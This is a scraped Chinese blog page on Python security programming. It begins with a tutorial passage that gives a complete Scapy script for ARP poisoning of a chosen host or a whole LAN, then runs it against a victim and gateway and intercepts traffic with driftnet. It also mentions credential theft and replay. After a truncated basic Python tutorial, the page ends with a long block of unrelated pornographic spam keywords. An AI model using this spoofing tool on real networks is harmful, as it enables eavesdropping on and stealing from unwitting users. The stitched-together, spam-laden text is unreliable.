pkt = Ether(src=[1.102的MAC], dst=[網關的Mac]) / ARP(1.102的MAC, 1. 18地址, hwdst=網關MAC,pdst=網關IP地址, op=1)


我們看到構造ARP請求和響應的主要區別在op的值。


目前我們欺騙的方式都是一對一欺騙的,事實上我們可以發送廣播包,對所有主機進行欺騙。


廣播欺騙
廣播欺騙,首先以太網數據包直接構造一個廣播包,ARP包不用填寫目標主機的信息即可。


下面是ARP廣播響應包的構造方式:


pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], op=2)


最后綜合定下和廣播欺騙的方式,我們總結一個公式出來:


pkt = Ether(src=攻擊機MAC, dst=被欺騙主機(或網關)MAC) / ARP((hwsrc=毒化記錄中的MAC, 毒化記錄中的IP, hwdst=被欺騙主機MAC, pdst=被欺騙主機IP地址, op=1(或2))


概念有點繞,實踐出真知。


3.1.4 發送數據包
數據包構造完成之后,我們要做的就是發送了,發送數據包這里我們使用sendp方法,該方法描述如下:


? ? Send packets at layer 2
? ? sendp(packets, [inter=0], [loop=0], [verbose=conf.verb]) -> None


和sendp方法類似的還有一個send方法,兩個方法不同的是,sendp方法工作在第二層,send方法工作在第三層。發送構造好的數據包就很簡單了:


? sendp(pkt, inter=2, iface=網卡)


3.1.5 打造你的ARPSPOOF
ARP欺騙的核心內容我們已經講完了,在Kali Linux上有一款常用的ARP欺騙工具叫arpspoof。


圖9


(關于arpspoof的使用可以參考我的視頻教程《kali linux 滲透測試初級教程》,文末有獲取方法。)


雖然我們不知道arpspoof的內部實現代碼,但是我們完全可以根據目前掌握的知識,用Python來實現它。廢話少說,先上代碼:


#!/usr/bin/python


import os


import sys


import signal


from scapy.all import (


? ? get_if_hwaddr,


? ? getmacbyip,


? ? ARP,


? ? Ether,


? ? sendp


)


from optparse import OptionParser


def main():


? ? try:


? ? ? ? if os.geteuid() != 0:


? ? ? ? ? ? print "[-] Run me as root"


? ? ? ? ? ? sys.exit(1)


? ? except Exception,msg:


? ? ? ? print msg


? ? usage = 'Usage: %prog [-i interface] [-t target] host'


? ? parser = OptionParser(usage)


? ? parser.add_option('-i', dest='interface', help='Specify the interface to use')


? ? parser.add_option('-t', dest='target', help='Specify a particular host to ARP poison')


? ? parser.add_option('-m', dest='mode', default='req', help='Poisoning mode: requests (req) or replies (rep) [default: %default]')


? ? parser.add_option('-s', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning')


? ? (options, args) = parser.parse_args()


? ? if len(args) != 1 or options.interface is None:


? ? ? ? parser.print_help()


? ? ? ? sys.exit(0)


? ? mac = get_if_hwaddr(options.interface)


? ? def build_req():


? ? ? ? if options.target is None:


? ? ? ? ? ? pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0])


? ? ? ? elif options.target:


? ? ? ? ? ? target_mac = getmacbyip(options.target)


? ? ? ? ? ? if target_mac is None:


? ? ? ? ? ? ? ? print "[-] Error: Could not resolve targets MAC address"


? ? ? ? ? ? ? ? sys.exit(1)


? ? ? ? ? ? pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)


? ? ? ? return pkt


? ? def build_rep():


? ? ? ? if options.target is None:


? ? ? ? ? ? pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], op=2)


? ? ? ? elif options.target:


? ? ? ? ? ? target_mac = getmacbyip(options.target)


? ? ? ? ? ? if target_mac is None:


? ? ? ? ? ? ? ? print "[-] Error: Could not resolve targets MAC address"


? ? ? ? ? ? ? ? sys.exit(1)


? ? ? ? ? ? pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target, op=2)


? ? ? ? return pkt


? ? ?if options.mode == 'req':


? ? ? ? pkt = build_req()


? ? elif options.mode == 'rep':


? ? ? ? pkt = build_rep()


? ? if options.summary is True:


? ? ? ? pkt.show()


? ? ? ? ans = raw_input('\n[*] Continue? [Y|n]: ').lower()


? ? ? ? if ans == 'y' or len(ans) == 0:


? ? ? ? ? ? pass


? ? ? ? else:


? ? ? ? ? ? sys.exit(0)


? ? while True:


? ? ? ? sendp(pkt, inter=2, iface=options.interface)


if __name__ == '__main__':


? ? main()


代碼略微有一點多,不過核心內容沒有離開我們上面講到的內容,現在做個分解。


? ?usage = 'Usage: %prog [-i interface] [-t target] host'


? ? parser = OptionParser(usage)


? ? parser.add_option('-i', dest='interface', help='Specify the interface to use')


? ? parser.add_option('-t', dest='target', help='Specify a particular host to ARP poison')


? ? parser.add_option('-m', dest='mode', default='req', help='Poisoning mode: requests (req) or replies (rep) [default: %default]')


? ? parser.add_option('-s', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning')


? ? (options, args) = parser.parse_args()


? ? if len(args) != 1 or options.interface is None:


? ? ? ? parser.print_help()


? ? ? ? sys.exit(0)


首先,我們引入了optparse模塊,用來格式化用戶輸入的參數,如果用戶輸入參數不正確,會打印使用說明。


圖10


下面調用了get_if_hwaddr方法,根據參數中傳入的網卡,獲取本機MAC地址,該MAC地址在構建以太網和ARP數據包的時候做為攻擊機的MAC地址被使用。


接下來是build_req方法,和build_rep方法,分別用來構建ARP請求和響應包。兩個方法會檢查是否指定了目標地址,如果沒有就是廣播欺騙,如果有就是定下欺騙。兩個方法里面使用了getmacbyip方法來根據ip地址獲取目標主機的MAC地址。構建數據包的原理我們上面講的很清楚了,這里就不重復了。


再往下是根據輸入的參數,判斷應該構建的數據包類型,調用對應的方法。


if options.mode == 'req':


? ? ? ? pkt = build_req()


? ? elif options.mode == 'rep':


? ? ? ? pkt = build_rep()


? ? if options.summary is True:


? ? ? ? pkt.show()


? ? ? ? ans = raw_input('\n[*] Continue? [Y|n]: ').lower()


? ? ? ? if ans == 'y' or len(ans) == 0:


? ? ? ? ? ? pass


? ? ? ? else:


? ? ? ? ? ? sys.exit(0)


最后是發送數據包和程序的入口。


? ?while True:


? ? ? ? sendp(pkt, inter=2, iface=options.interface)


if __name__ == '__main__':


? ? main()


程序準備妥當,我們保存源碼,下面開始測試。


3.1.6 測試
在做ARP欺騙測試的時候,一定要先開啟本機的IP轉發功能,否則會失敗的。執行如下命令:


sysctl net.ipv4.ip_forward=1


圖11


下面我們打開終端,對192.168.1.18進行欺騙,告訴它網關為192.168.1.102所在的主機。


圖12


在打開一個終端,對網關進行欺騙,告訴網關,192.168.1.18對應的主機為192.168.1.102.


python arp1.py -i eth0 -t 192.168.1.1 192.168.1.18


一段時間之后,我們發現,192.168.1.18的arp緩存發生了變化:


圖13


對比圖13和圖5我們知道arp毒化成功。下面我們來看一下能發捕獲到1.18的外網請求信息,使用常用的測試工具driftnet。


圖14


下面在1.18上隨便打開幾個帶有圖片的網頁。


圖15


在drifnet上面我們可以看到捕獲的圖片信息,如圖16所示。


圖16


證明我們的arp欺騙程序編寫成功。


3.1.7 在此基礎上我們能做什么
上面的測試,我們知道基于ARP欺騙我們可以做數據監聽,能拿到敏感信息,能拿到憑證進行重放攻擊,能進行數據篡改,結合調用和DNS欺騙做很多事情。


關于進一步的實戰利用,這里我就不展開了,在我的視頻教程《Kali Linux web滲透測試基礎教程》的第十四課《第14課-arp欺騙、嗅探、dns欺騙、session劫持》講了很多實用的工具,可以在ARP欺騙的基礎上做很多測試。只要在玄魂工作室的微信訂閱號(在下方掃碼關注)下回復“kali”,會自動回復你免費獲取整套教程的方法。


3.1.8 小結
本節比較詳細的講解了基于Scapy進行ARP數據包構建和發送的基礎知識,綜合這些基礎進行ARP欺騙的工具編寫,最終完成了一個可用的ARP欺騙工具。


下一節,基于本節的知識,我們編寫一個ARP監控工具,來對網絡上主機的ARP請求做動態的回應。
========

入門

http://www.kancloud.cn/wizardforcel/py-sec-tutorial/121713
這將是第一個一系列關于python編程的博客文章。python是一門非常強大的語言,因為它有信息安全社區的支撐。這意味著很多工具都是由python編寫并且可以在腳本中調用很多模塊。使用模塊的好處就是只需要少量的代碼就能夠完成所需的任務。


這篇文章假定你的系統是Linux,python版本是2.*。在寫代碼的時候你也可以直接的寫在解釋器里面(linux里面輸入python即可進入),也可以把代碼放到一個文件里面。很多人會發現把代碼存放到文件里面要比直接寫在解釋器上面要好很多。值得注意的是python 中強制縮進。大家在寫函數聲明,循環,if/else語句等等的時候就會發現。


python解釋器


在終端里面輸入python:


~$ python
Python 2.7.6 (default, Mar 22 2014, 22:59:56)?
[GCC 4.8.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>>?
輸入之后你就可以直接在解釋器里面寫你的代碼了。下面我們將聲明兩個變量,并且使用type()函數查看變量的類型。假設我們聲明了一個字符串和整型:


>>>
>>> ip = '8.8.8.8'
>>> port = 53
>>>
>>> type(ip)
<type 'str'>
>>>
>>> type(port)
<type 'int'>
>>>
你可以使用內置的help()函數去了解一個函數的詳細。記住這一點,它可以幫助你在學習語言的時候學習到更多的詳細內容.


>>>
>>> help(type)
>>>
有時你會想把一些變量和字符串連接起來然后通過腳本顯示出來。那么你就需要使用str()函數把整型轉換成字符串類型


>>> ip='1.1.1.1'
>>> port=55
>>> print 'the ip is:'+ip+'and the port is:'+str(port)
the ip is:1.1.1.1and the port is:55
前面聲明變量的時候"IP"就是一個字符串就不需要轉換,而"port"就需要?,F在你就已經知道了兩個基本的數據類型(string和integer)?,F在你可以試試使用內置函數與這兩個數據類型寫出其他的代碼。


Python字符串允許你通過偏移值來獲取你想需要的字符串,并且可以通過len()函數來獲取字符串的長度,它可以幫助你更方便的操作字符串。


>>>
>>> domain='primalsecurity.net'
>>> domain
'primalsecurity.net'
>>> domain[0]
'p'
>>> domain[0:3]
'pri'
>>> domain[1:]
'rimalsecurity.net'


>>> len(domain)
18
你可以使用內建的dir()函數來列出模塊定義的標識符。標識符有函數、類和變量。


>>> dir(ip)
['__add__', '__class__', '__contains__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__getslice__', '__gt__', '__hash__', '__init__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '_formatter_field_name_split', '_formatter_parser', 'capitalize', 'center', 'count', 'decode', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'index', 'isalnum', 'isalpha', 'isdigit', 'islower', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']
現在你可以使用上面列舉出來的內建字符串函數,如果想知道這個函數的更多描述可以參考前面提到的help()函數:


>>>
>>> help(ip.split)
>>>
>>> string = ip+':'+str(port)
>>> string
'8.8.8.8:53'
>>>
>>> string.split(':')
['8.8.8.8', '53']
這split函數把一個字符串通過":"切割生成一個新的列表。這是一個非常有用的字符串函數因為你能夠把這個字符串里面的有用信息提出出來。例如,你獲取到了一個ip列表,你想在這個列表里面添加一個索引值。你也可以刪除和添加新的值到這個列表里面通過.append()和.remove()函數


>>>
>>> list = string.split(':')
>>>
>>> list
['8.8.8.8', '53']
>>>
>>> list[0]
'8.8.8.8'
>>>
>>> list.append('google')
>>> list
['8.8.8.8', '53', 'google']
>>> list.remove('google')
>>> list
['8.8.8.8', '53']
&g

總結

以上是生活随笔為你收集整理的Python 安全编程学习总结的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

性史性农村dvd毛片 | 无码纯肉视频在线观看 | 欧美怡红院免费全部视频 | 亚洲s码欧洲m码国产av | 黄网在线观看免费网站 | 无遮挡国产高潮视频免费观看 | 国产成人无码av在线影院 | 狠狠噜狠狠狠狠丁香五月 | а天堂中文在线官网 | 中文字幕乱码亚洲无线三区 | 久久久久久亚洲精品a片成人 | 亚洲精品国产品国语在线观看 | 日本一区二区三区免费播放 | 伊人久久婷婷五月综合97色 | 国产两女互慰高潮视频在线观看 | 成人精品视频一区二区三区尤物 | 人妻少妇被猛烈进入中文字幕 | 西西人体www44rt大胆高清 | 老熟妇仑乱视频一区二区 | 亚洲大尺度无码无码专区 | 久久综合色之久久综合 | av无码久久久久不卡免费网站 | 熟妇女人妻丰满少妇中文字幕 | 亚洲乱码国产乱码精品精 | 久久99久久99精品中文字幕 | 国产福利视频一区二区 | 精品午夜福利在线观看 | 少妇被黑人到高潮喷出白浆 | 少妇厨房愉情理9仑片视频 | 亚洲天堂2017无码 | 亚洲の无码国产の无码步美 | 日韩精品乱码av一区二区 | 国产亲子乱弄免费视频 | 亚洲爆乳无码专区 | 在线精品国产一区二区三区 | 人妻熟女一区 | 激情内射日本一区二区三区 | 天下第一社区视频www日本 | 无码吃奶揉捏奶头高潮视频 | 国产麻豆精品精东影业av网站 | 欧美性黑人极品hd | 女人色极品影院 | 六月丁香婷婷色狠狠久久 | 免费播放一区二区三区 | 欧美高清在线精品一区 | 免费观看的无遮挡av | 99久久婷婷国产综合精品青草免费 | 三上悠亚人妻中文字幕在线 | 日本护士xxxxhd少妇 | 色五月丁香五月综合五月 | 麻豆国产97在线 | 欧洲 | 无码国产激情在线观看 | 欧美午夜特黄aaaaaa片 | 亚洲色大成网站www | 窝窝午夜理论片影院 | 真人与拘做受免费视频一 | 精品久久久久久人妻无码中文字幕 | 99视频精品全部免费免费观看 | 理论片87福利理论电影 | a国产一区二区免费入口 | 一本无码人妻在中文字幕免费 | 内射后入在线观看一区 | 亚洲精品一区二区三区婷婷月 | 精品成在人线av无码免费看 | 中文字幕人妻无码一夲道 | 成人一在线视频日韩国产 | 国内精品久久久久久中文字幕 | 精品日本一区二区三区在线观看 | 欧美 日韩 人妻 高清 中文 | 中文无码成人免费视频在线观看 | 国产凸凹视频一区二区 | 99久久精品国产一区二区蜜芽 | 波多野结衣一区二区三区av免费 | 亚洲成av人在线观看网址 | 少妇久久久久久人妻无码 | 成 人 免费观看网站 | 国产成人综合在线女婷五月99播放 | 日日摸天天摸爽爽狠狠97 | 又粗又大又硬又长又爽 | 国产两女互慰高潮视频在线观看 | 性欧美牲交在线视频 | 日韩人妻无码中文字幕视频 | 国产后入清纯学生妹 | 精品无人区无码乱码毛片国产 | 亚洲综合无码久久精品综合 | 少妇性俱乐部纵欲狂欢电影 | 蜜桃视频插满18在线观看 | 日本饥渴人妻欲求不满 | 伦伦影院午夜理论片 | 亚洲中文字幕在线无码一区二区 | 午夜福利电影 | 九九久久精品国产免费看小说 | 4hu四虎永久在线观看 | 日本护士xxxxhd少妇 | 在线播放亚洲第一字幕 | 色老头在线一区二区三区 | 曰韩无码二三区中文字幕 | 红桃av一区二区三区在线无码av | 波多野结衣av在线观看 | 亚洲色欲久久久综合网东京热 | 性史性农村dvd毛片 | 男女猛烈xx00免费视频试看 | 国产色精品久久人妻 | 国产亚洲精品久久久闺蜜 | 日产精品99久久久久久 | 免费视频欧美无人区码 | 国产真人无遮挡作爱免费视频 | 成人无码精品一区二区三区 | 99久久婷婷国产综合精品青草免费 | 扒开双腿疯狂进出爽爽爽视频 | 青青草原综合久久大伊人精品 | 国产超碰人人爽人人做人人添 | 人妻少妇精品久久 | 日本护士xxxxhd少妇 | 久久精品丝袜高跟鞋 | 牲欲强的熟妇农村老妇女 | 亚洲日韩乱码中文无码蜜桃臀网站 | 色婷婷欧美在线播放内射 | 亚洲热妇无码av在线播放 | 人妻尝试又大又粗久久 | 日本高清一区免费中文视频 | 中文字幕无码免费久久9一区9 | 天天拍夜夜添久久精品 | 无码人中文字幕 | 精品乱子伦一区二区三区 | 久久综合给合久久狠狠狠97色 | 欧美精品在线观看 | 天天摸天天透天天添 | 欧美zoozzooz性欧美 | 国产高清不卡无码视频 | 无码人妻黑人中文字幕 | 无码国产色欲xxxxx视频 | 国产成人精品视频ⅴa片软件竹菊 | 国产亚洲美女精品久久久2020 | 全球成人中文在线 | 国产精品亚洲а∨无码播放麻豆 | 久久国产精品_国产精品 | 日韩精品成人一区二区三区 | 十八禁真人啪啪免费网站 | 亚洲精品一区二区三区在线观看 | 欧美 丝袜 自拍 制服 另类 | 精品国偷自产在线 | 亚洲人成人无码网www国产 | 色婷婷欧美在线播放内射 | 国产av无码专区亚洲a∨毛片 | 亚洲国产欧美国产综合一区 | 亚洲狠狠色丁香婷婷综合 | 两性色午夜免费视频 | 在线精品国产一区二区三区 | 国产亚洲欧美日韩亚洲中文色 | 无码国模国产在线观看 | 九月婷婷人人澡人人添人人爽 | 人妻有码中文字幕在线 | 国产午夜视频在线观看 | 久久综合久久自在自线精品自 | 天天做天天爱天天爽综合网 | 日本乱偷人妻中文字幕 | 青青久在线视频免费观看 | 67194成是人免费无码 | 久久伊人色av天堂九九小黄鸭 | 日本在线高清不卡免费播放 | 欧美三级a做爰在线观看 | 久久精品中文字幕一区 | 午夜无码区在线观看 | 无码人妻精品一区二区三区不卡 | 国模大胆一区二区三区 | 性生交大片免费看女人按摩摩 | а√天堂www在线天堂小说 | 日本丰满护士爆乳xxxx | 欧美激情一区二区三区成人 | av香港经典三级级 在线 | 性生交片免费无码看人 | 97资源共享在线视频 | 成人性做爰aaa片免费看不忠 | 国产在线精品一区二区三区直播 | 久久亚洲日韩精品一区二区三区 | 美女毛片一区二区三区四区 | 亚洲国产精品一区二区第一页 | 黑人粗大猛烈进出高潮视频 | 国产 精品 自在自线 | 欧美成人高清在线播放 | 最近免费中文字幕中文高清百度 | 久久精品国产99精品亚洲 | 亚洲区小说区激情区图片区 | 搡女人真爽免费视频大全 | 亚洲中文字幕在线观看 | 日韩 欧美 动漫 国产 制服 | 在教室伦流澡到高潮hnp视频 | 久热国产vs视频在线观看 | 国产精品二区一区二区aⅴ污介绍 | 中国大陆精品视频xxxx | 国内精品人妻无码久久久影院蜜桃 | 中文字幕人成乱码熟女app | 扒开双腿吃奶呻吟做受视频 | 国产精品va在线观看无码 | 国产精品国产三级国产专播 | 国产无套粉嫩白浆在线 | 真人与拘做受免费视频 | 国产日产欧产精品精品app | 亚洲人成影院在线观看 | 999久久久国产精品消防器材 | 又色又爽又黄的美女裸体网站 | 免费无码av一区二区 | 亚洲狠狠色丁香婷婷综合 | 色五月五月丁香亚洲综合网 | 国产农村妇女高潮大叫 | 中文字幕无码人妻少妇免费 | 性史性农村dvd毛片 | 久久国产精品_国产精品 | 亚洲一区二区三区含羞草 | 久久精品人妻少妇一区二区三区 | 一本色道久久综合狠狠躁 | 国产xxx69麻豆国语对白 | 黑人巨大精品欧美一区二区 | 夜夜影院未满十八勿进 | 亚洲精品国偷拍自产在线麻豆 | 精品乱子伦一区二区三区 | 欧美三级a做爰在线观看 | 久久伊人色av天堂九九小黄鸭 | 国内老熟妇对白xxxxhd | 国内少妇偷人精品视频 | 亚洲 日韩 欧美 成人 在线观看 | 亚洲综合无码一区二区三区 | 午夜福利试看120秒体验区 | 国产在线精品一区二区三区直播 | 激情内射亚州一区二区三区爱妻 | 久久久久免费看成人影片 | 最新版天堂资源中文官网 | 东京一本一道一二三区 | 国产激情综合五月久久 | 日本xxxx色视频在线观看免费 | 两性色午夜免费视频 | 蜜臀aⅴ国产精品久久久国产老师 | 久久久久人妻一区精品色欧美 | 亚洲综合色区中文字幕 | 国产suv精品一区二区五 | 亚洲国精产品一二二线 | 久久亚洲精品中文字幕无男同 | 国产xxx69麻豆国语对白 | 亚洲国产高清在线观看视频 | 日韩视频 中文字幕 视频一区 | 国产口爆吞精在线视频 | 又黄又爽又色的视频 | 欧美xxxxx精品 | 日本xxxx色视频在线观看免费 | 欧美 丝袜 自拍 制服 另类 | 亚洲欧洲日本综合aⅴ在线 | 国产精品亚洲专区无码不卡 | 亚洲欧洲日本无在线码 | 久久99精品久久久久婷婷 | 真人与拘做受免费视频 | 美女黄网站人色视频免费国产 | 亚洲人成影院在线观看 | 人人爽人人爽人人片av亚洲 | 丰满肥臀大屁股熟妇激情视频 | 亚洲欧美日韩国产精品一区二区 | 国产精品成人av在线观看 | 最新版天堂资源中文官网 | 丰满少妇人妻久久久久久 | 欧美精品无码一区二区三区 | 国内精品人妻无码久久久影院 | 99久久久无码国产aaa精品 | 性开放的女人aaa片 | 日日天日日夜日日摸 | 国产精品手机免费 | 国产口爆吞精在线视频 | 少妇被黑人到高潮喷出白浆 | 欧美熟妇另类久久久久久多毛 | 久久久成人毛片无码 | 狠狠cao日日穞夜夜穞av | 少妇久久久久久人妻无码 | 欧美一区二区三区视频在线观看 | 精品熟女少妇av免费观看 | 人人澡人人妻人人爽人人蜜桃 | 亚洲va中文字幕无码久久不卡 | 丰满人妻翻云覆雨呻吟视频 | 国产精品高潮呻吟av久久 | 久久伊人色av天堂九九小黄鸭 | 中文字幕+乱码+中文字幕一区 | 精品无码国产自产拍在线观看蜜 | 日本高清一区免费中文视频 | 麻豆国产人妻欲求不满 | 美女黄网站人色视频免费国产 | 99久久精品日本一区二区免费 | 麻豆av传媒蜜桃天美传媒 | 一本色道久久综合亚洲精品不卡 | 久久精品女人天堂av免费观看 | 亚洲精品久久久久久一区二区 | 四虎4hu永久免费 | 亚洲精品美女久久久久久久 | 欧美国产亚洲日韩在线二区 | 成在人线av无码免观看麻豆 | 天天爽夜夜爽夜夜爽 | 成人无码视频在线观看网站 | 99久久99久久免费精品蜜桃 | 国产日产欧产精品精品app | 久久99热只有频精品8 | 2019nv天堂香蕉在线观看 | 国内综合精品午夜久久资源 | 骚片av蜜桃精品一区 | 国产成人人人97超碰超爽8 | 5858s亚洲色大成网站www | 国产在线精品一区二区高清不卡 | 女高中生第一次破苞av | 正在播放老肥熟妇露脸 | 久久99精品久久久久久动态图 | 欧洲熟妇精品视频 | 亚洲欧美日韩成人高清在线一区 | 国产精品亚洲综合色区韩国 | 图片小说视频一区二区 | 色情久久久av熟女人妻网站 | 少妇太爽了在线观看 | 亚洲欧洲日本综合aⅴ在线 | 国产成人无码区免费内射一片色欲 | 日日麻批免费40分钟无码 | 亚洲男人av香蕉爽爽爽爽 | 无码国产色欲xxxxx视频 | 中文字幕无码日韩欧毛 | 欧美放荡的少妇 | 日本肉体xxxx裸交 | 精品人妻av区 | 久久精品人人做人人综合试看 | 乌克兰少妇性做爰 | 在线精品国产一区二区三区 | 四虎影视成人永久免费观看视频 | 国语精品一区二区三区 | 国产高潮视频在线观看 | 亚洲精品国偷拍自产在线观看蜜桃 | 久久这里只有精品视频9 | 乱人伦中文视频在线观看 | 国产精品成人av在线观看 | 天天躁夜夜躁狠狠是什么心态 | 熟女俱乐部五十路六十路av | 高中生自慰www网站 | 亚洲区欧美区综合区自拍区 | 99久久亚洲精品无码毛片 | aⅴ亚洲 日韩 色 图网站 播放 | 精品久久综合1区2区3区激情 | 激情内射日本一区二区三区 | 风流少妇按摩来高潮 | 性欧美熟妇videofreesex | 久青草影院在线观看国产 | 亚洲精品一区二区三区四区五区 | 亚洲成av人影院在线观看 | 日韩成人一区二区三区在线观看 | 又紧又大又爽精品一区二区 | 九月婷婷人人澡人人添人人爽 | 久久久中文字幕日本无吗 | 国产精品第一国产精品 | 久久亚洲日韩精品一区二区三区 | 色五月丁香五月综合五月 | 中文字幕精品av一区二区五区 | 国产午夜福利100集发布 | 中文字幕无码热在线视频 | 亚洲无人区一区二区三区 | 在线观看免费人成视频 | 性欧美疯狂xxxxbbbb | 日本精品人妻无码77777 天堂一区人妻无码 | 人妻少妇精品久久 | 日韩欧美群交p片內射中文 | 天堂一区人妻无码 | 亚洲爆乳无码专区 | 天堂一区人妻无码 | 国产农村乱对白刺激视频 | 日日麻批免费40分钟无码 | 青青久在线视频免费观看 | 日韩精品乱码av一区二区 | 国产精品无码一区二区三区不卡 | 黄网在线观看免费网站 | 亚洲精品无码人妻无码 | 亚洲国产精品久久久久久 | 国产精品二区一区二区aⅴ污介绍 | 兔费看少妇性l交大片免费 | 国产色视频一区二区三区 | 成人无码视频免费播放 | 国内揄拍国内精品少妇国语 | 女人被爽到呻吟gif动态图视看 | 98国产精品综合一区二区三区 | 亚洲成在人网站无码天堂 | 伊人久久婷婷五月综合97色 | 色婷婷欧美在线播放内射 | 久久综合狠狠综合久久综合88 | 天天拍夜夜添久久精品 | 成在人线av无码免费 | 又大又黄又粗又爽的免费视频 | 国产又粗又硬又大爽黄老大爷视 | 嫩b人妻精品一区二区三区 | 荫蒂被男人添的好舒服爽免费视频 | 丝袜美腿亚洲一区二区 | 人人爽人人爽人人片av亚洲 | 国产精品久久久久久亚洲影视内衣 | 久久国产精品偷任你爽任你 | 国产成人精品一区二区在线小狼 | 黑森林福利视频导航 | 国产精品无码永久免费888 | 东京热一精品无码av | 欧美自拍另类欧美综合图片区 | 欧美日韩人成综合在线播放 | 学生妹亚洲一区二区 | 内射后入在线观看一区 | 亚洲熟妇色xxxxx欧美老妇 | 日本精品久久久久中文字幕 | 99麻豆久久久国产精品免费 | 国产精品手机免费 | 国产精品久久久久9999小说 | 欧美肥老太牲交大战 | 久久无码中文字幕免费影院蜜桃 | 久久国产36精品色熟妇 | 精品国产精品久久一区免费式 | 日韩少妇内射免费播放 | 中文字幕无码免费久久9一区9 | 1000部啪啪未满十八勿入下载 | 成人欧美一区二区三区 | 国产特级毛片aaaaaa高潮流水 | 中文字幕久久久久人妻 | 鲁大师影院在线观看 | 精品亚洲韩国一区二区三区 | 爆乳一区二区三区无码 | 国产人妻大战黑人第1集 | 丝袜足控一区二区三区 | 日韩欧美中文字幕公布 | 国产尤物精品视频 | 国产成人亚洲综合无码 | a在线亚洲男人的天堂 | 在线观看国产一区二区三区 | 欧美三级不卡在线观看 | 帮老师解开蕾丝奶罩吸乳网站 | 在线成人www免费观看视频 | 国产激情综合五月久久 | 精品厕所偷拍各类美女tp嘘嘘 | 国产精品视频免费播放 | 国产精品人人爽人人做我的可爱 | 国产偷自视频区视频 | 中文精品无码中文字幕无码专区 | 国产真人无遮挡作爱免费视频 | 乱中年女人伦av三区 | 亚洲精品久久久久久一区二区 | 中文亚洲成a人片在线观看 | 激情内射亚州一区二区三区爱妻 | 88国产精品欧美一区二区三区 | 曰韩无码二三区中文字幕 | 老熟妇乱子伦牲交视频 | av香港经典三级级 在线 | 小泽玛莉亚一区二区视频在线 | 亚洲人交乣女bbw | 国产综合色产在线精品 | 蜜桃视频韩日免费播放 | 美女扒开屁股让男人桶 | 亚洲s码欧洲m码国产av | 伊人久久大香线蕉av一区二区 | 台湾无码一区二区 | 国产做国产爱免费视频 | 国产人妻精品午夜福利免费 | 天堂а√在线地址中文在线 | 欧美35页视频在线观看 | 99久久精品无码一区二区毛片 | 欧美性生交活xxxxxdddd | 欧美野外疯狂做受xxxx高潮 | 日韩精品一区二区av在线 | av小次郎收藏 | 亚洲日本va午夜在线电影 | 黑人巨大精品欧美一区二区 | 无码一区二区三区在线观看 | 亚洲综合无码一区二区三区 | 国产人妻人伦精品 | 亚洲国产精品一区二区第一页 | 国产精品久久久久久久9999 | 国产成人无码区免费内射一片色欲 | 国产亚洲美女精品久久久2020 | 精品国产国产综合精品 | 扒开双腿疯狂进出爽爽爽视频 | 无码播放一区二区三区 | 水蜜桃亚洲一二三四在线 | 国产亚洲欧美日韩亚洲中文色 | 少妇性l交大片欧洲热妇乱xxx | 女人被男人爽到呻吟的视频 | 熟妇人妻中文av无码 | 天天拍夜夜添久久精品 | 成人精品视频一区二区三区尤物 | 999久久久国产精品消防器材 | 牲欲强的熟妇农村老妇女视频 | 日日碰狠狠丁香久燥 | 国产精品怡红院永久免费 | 波多野结衣av一区二区全免费观看 | 无码国内精品人妻少妇 | 色狠狠av一区二区三区 | 久久久久se色偷偷亚洲精品av | 亚洲精品无码国产 | 中文字幕无码乱人伦 | 亚洲小说图区综合在线 | 久久久久免费精品国产 | 中文字幕+乱码+中文字幕一区 | 久久国产精品偷任你爽任你 | 少妇性l交大片 | 六十路熟妇乱子伦 | 精品无码国产一区二区三区av | 内射欧美老妇wbb | 国产精品二区一区二区aⅴ污介绍 | 亚洲一区二区三区偷拍女厕 | 国产精品视频免费播放 | 婷婷丁香六月激情综合啪 | 日本精品高清一区二区 | 无码免费一区二区三区 | 久青草影院在线观看国产 | 精品厕所偷拍各类美女tp嘘嘘 | 中文字幕无码av激情不卡 | 国产乱人无码伦av在线a | 一二三四在线观看免费视频 | 国产明星裸体无码xxxx视频 | 国产激情精品一区二区三区 | 中文亚洲成a人片在线观看 | 中文字幕无码av波多野吉衣 | 成人免费视频视频在线观看 免费 | 中文字幕久久久久人妻 | 精品水蜜桃久久久久久久 | 男人和女人高潮免费网站 | 精品无码一区二区三区爱欲 | 亚洲中文字幕无码中文字在线 | 国产av一区二区精品久久凹凸 | 特黄特色大片免费播放器图片 | 水蜜桃色314在线观看 | 亚洲一区二区观看播放 | 久久国产精品偷任你爽任你 | 亚洲一区二区三区无码久久 | 亚洲人成网站色7799 | 蜜桃臀无码内射一区二区三区 | 无码精品人妻一区二区三区av | 久久综合给合久久狠狠狠97色 | 亚洲另类伦春色综合小说 | 任你躁国产自任一区二区三区 | 国产真实伦对白全集 | 在线а√天堂中文官网 | 少女韩国电视剧在线观看完整 | 久久久亚洲欧洲日产国码αv | 自拍偷自拍亚洲精品被多人伦好爽 | 亚拍精品一区二区三区探花 | 亚洲色欲色欲欲www在线 | 好男人www社区 | 丰满岳乱妇在线观看中字无码 | 日韩精品无码一本二本三本色 | 亚洲 高清 成人 动漫 | 亲嘴扒胸摸屁股激烈网站 | 免费男性肉肉影院 | 久久99精品国产麻豆蜜芽 | 少妇高潮一区二区三区99 | 帮老师解开蕾丝奶罩吸乳网站 | 